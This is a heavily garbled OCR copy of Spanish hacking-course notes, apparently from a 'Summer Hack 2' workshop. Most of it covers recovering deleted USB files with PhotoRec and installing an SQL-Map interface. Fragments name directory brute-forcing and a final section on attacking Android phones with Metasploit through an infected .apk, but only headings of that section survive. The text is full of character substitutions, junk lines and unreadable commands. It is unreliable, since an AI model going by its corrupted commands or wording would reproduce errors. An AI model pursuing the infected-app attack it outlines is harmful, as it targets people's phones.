La herramlenLa se e[ecuLa al hacer doble cllc (Wlndows) sobre el .[ar




!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
9.1-8rute Iorce de D|rector|os "D|r-8uster"




















;3-2"0:3%( '()*4-/ <=>4)3
9.2.-kev|s|on de| ane| de Adm|n|strac|n.











!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
10.-Insta|ando e| Lntorno graf|co de "SL-Map"

uenLro de las herramlenLas CLorgadas se enLrega la lnLerfaz graflca para SCL-MA"




La cual se debe de coplar denLro de la CarpeLa de SCL-MA" (Lodo a 8alz) y deberla de
quedar de la slgulenLe manera.











;3-2"0:3%( '()*4-/ <=>4)3
una vez lnsLalado el enLorno graflco de SCL-MA" dar cllc derecho sobre 79X82;=aO y
selecclonamos abrlr con pyLhon".



y I|na|mente este es e| entorno Graf|co de "SL-MA"



!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
3.- kecuperac|n de Datos med|ante conso|a

1.-Conoclendo el SofLware hoLo8ec"



Ls un sofLware dlsenado para recuperar archlvos perdldos lncluyendo vldeos, documenLos
y archlvos de los dlscos duros y Cu8oms asl como lmgenes perdldas (por eso el nombre
hoLo8ecovery) de las memorlas de las cmaras foLogrflcas, M3 players, enurlves, eLc.
hoLo8ec lgnora el slsLema de archlvos y hace una busqueda profunda de los daLos,
funclonando lncluso sl su slsLema de archlvos esL muy danado o ha sldo re-formaLeado.

ulsponlblldad :



;3-2"0:3%( '()*4-/ <=>4)3

2.-lnsLalaclon y creacln de Allas (slsLemas CperaLlvos 8asados en unlx)

uuranLe el curso se enLrega el sofLware phoLorec" para su lnsLalacln , solo de debe
colocar en la carpeLa deseada.

L[emplo en CSx :





Como se observa fue colocada en la carpeLa Apllcaclones" de CSx

Colocar la carpeLa en la ruLa deseada para su uso.










!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3




L[ecuc|n en W|ndows : uoble Cllck en phoLorec_wln.exe
(32 y 64 blLs)


L[ecuc|n en CSk : ./phoLorec
(esLar oslclonado en la carpeLa de lnsLalacln)

Comando compleLo : Mac8ook-ro-de-Makuaz:phoLorec Makuaz$ .]photorec














;3-2"0:3%( '()*4-/ <=>4)3

L[ecuc|n en L|nux : en unlx/Llnux/8Su, se neceslLa ser rooL para e[ecuLar hoLo8ec
(e[. sudo LesLdlsk-6.9/llnux/phoLorec_sLaLlc)



Creac|n de un a||as (s|stemas basados en un|x)

CSx : oslclonarse en la carpeLa (9MDB(

Comando compleLo :

79V@? >B *9 ()?8MCE#@E#><#CVF<(;Q?F?CEH(2(;Q?F?CEH @V8;#V9MO




Llnux :

Comando compleLo

7>B *9 ()?8MCE#@E#><#CVF<(;Q?F?CEH(2(;Q?F?CEH @V8#V9MO

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


L[emplo en consola de un allas :



uonde "dump_usb" : es como Leclearemos solamenLe en la consola
uonde "]App||cat|ons]photorec].]photorec" : Ls la ruLa donde Lenemos la apllcacln.



3.-erdlendo/8orrando uaLos en una uS8/Puu

uuranLe esLe e[erclclo conLamos con una Memorla uS8 marca klngsLon y borraremos
archlvos denLro de ella.



borrndolos :


;3-2"0:3%( '()*4-/ <=>4)3
4.-Anallzando los uS8 monLados en nuesLras compuLadoras

Abrlmos nuesLra consola o Lermlnal , y verlflcamos cual es el nombre que se le ha
aslgnado a la usb :




L[emp|o en CSk :

Mac8ook-ro-de-Makuaz:sbln Makuaz$ df h



noLa : hay muchos comandos en lnLerneL , slmplemenLe uLlllze el comando df-h para ver
las parLlclones y verlflco que esLa Pm_uS8" es la que qulero LesLear.


L[emp|o en L|nux :

Pay muchas maneras de hacerlo dependlendo la dlsLrlbucln que Lengas.
Ln esLe caso hemos usado el comando mounL" y vemos los dlsposlLlvos monLados por el
slsLema .








!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


L[emp|o en W|ndows :


1an senclllo como enLrar > lnlclo > ml C , y llsLamos las unldades . con la vlsLa









;3-2"0:3%( '()*4-/ <=>4)3

4.1.-8ecuperando los uaLos

SlsLemas basados en unlx :


Abrlmos nuesLra Lermlnal o consola y escrlblmos el allas que hemos aslgnado , sl no
hemos creado el allas pues solamenLe e[ecuLamos asl : ./phoLorec"

Ln esLe e[emplo usare el comando usb_dump" el cual corresponde al allas que yo he
aslgnado.




? aparece una panLalla slmllar a esLa :


!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3

Como se puede Cbservar se llsLan los dlsposlLlvos uS8 y de ulsco uuros conecLados ,
prevlamenLe se ha observado la usb conecLada y su nombre aslgnado.

Ln esLe e[emplo el nombre que se le ha aslgnado a la usb es : /dev/dlsk4"

Selecclonamos el dlsposlLlvo:



y en la parLe de aba[o , Selecclonamos [roceed]"
















;3-2"0:3%( '()*4-/ <=>4)3
A conLlnuacln se nos despllega una panLalla slmllar a esLa donde se nos deLalla la Labla
de parLlclones (faL32) que Llene y el nombre que le hemos aslgnado (PM_uS8).




Lscogemos en la parLe de aba[o [Search].


Ahora se nos muesLra una panLalla donde se nos pregunLa el Llpo de parLlcln con la que
cuenLa la usb o el dlsco duro.
hoLorec neceslLa saber que parLlcln Llene y nos muesLra en la parLe de arrlba el Llpo de
parLlcln que Llene , en esLe caso escogeremos lA1/n1lS/PlS+/8elserlS/..."



Ln la slgulenLe panLalla escogemos la opcln [Whole]" para que busque en Loda la
parLlcln del usb o dlsco duro.



!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3

Se nos pregunLara donde deseamos que ponga los archlvos recuperados. Ln esLe caso he
preparado una carpeLa llamada recuperados" en ml escrlLorlo ,para que ahl los deposlLe.









ara flnallza Lecleamos la leLra C" para declrle al sofLware que el desLlno es el correcLo.






;3-2"0:3%( '()*4-/ <=>4)3
? con esLo empleza el roceso de 8ecuperacln en Segundo lano.



Solo nos resLa esperar a que Lermlne el roceso por compleLo.


una vez Lermlnado el roceso veremos una panLalla como esLa .







!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3

3.-Anallsls de uaLos

Anallzaremos los archlvos recuperados.

ulrecLorlos 8ecuperados





M3 : 8ecuperados





;3-2"0:3%( '()*4-/ <=>4)3

lmgenes 8ecuperadas :



Archlvos 8ecuperados :



Archlvos Compresos :




!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


Wlndows :


L[ecuLamos phoLorec_wln.exe"



racLlcamenLe son los mlsmos pasos que en los slsLemas basados en unlx






;3-2"0:3%( '()*4-/ <=>4)3
Lscogemos la unldad uS8:





Lscogemos la Labla de parLlclones :









!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3

Lscogemos Whole" para que busque por compleLo en Lodo el dlsposlLlvo.




Lscogemos el desLlno de los archlvos y dlrecLorlos recuperados.





Conflrmamos con la leLra C"



;3-2"0:3%( '()*4-/ <=>4)3
? el sofLware empleza a hacer su Lraba[o.

Summer	
  Hack	
  2	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
Consultora	
  
Hacking	
  	
  
México	
  
	
  
	
  
	
  
1.-­‐Ataque	
  a	
  Dispositivos	
  Android	
  con	
  Metasploit	
  
Summer	
  Hack	
  2	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
Consultora	
  
Hacking	
  	
  
México	
  
	
  
1.-­‐Ataque	
  a	
  Dispositivos	
  Android	
  con	
  Metasploit	
  
	
  
	
  
Summer	
  Hack	
  2	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
Consultora	
  
Hacking	
  	
  
México	
  
	
  
	
  
	
  
3.-­‐Creacion	
  de	
  la	
  aplicación	
  para	
  Android.	
  	
  
Summer	
  Hack	
  2	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
Consultora	
  
Hacking	
  	
  
México	
  
Compatible	
  con	
  señal	
  3G	
  
	
  
5.-­‐Instalacion	
  del	
  “.Apk”	
  infe
Summer	
  Hack	
  2	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
Consultora	
  
Hacking	
  	
  
México	
  
	
  
	
  
Descarga	
  e	
  instalación	
  del	
  “.Apk”	
  
	
  
	
  
	
  
	
  

También podría gustarte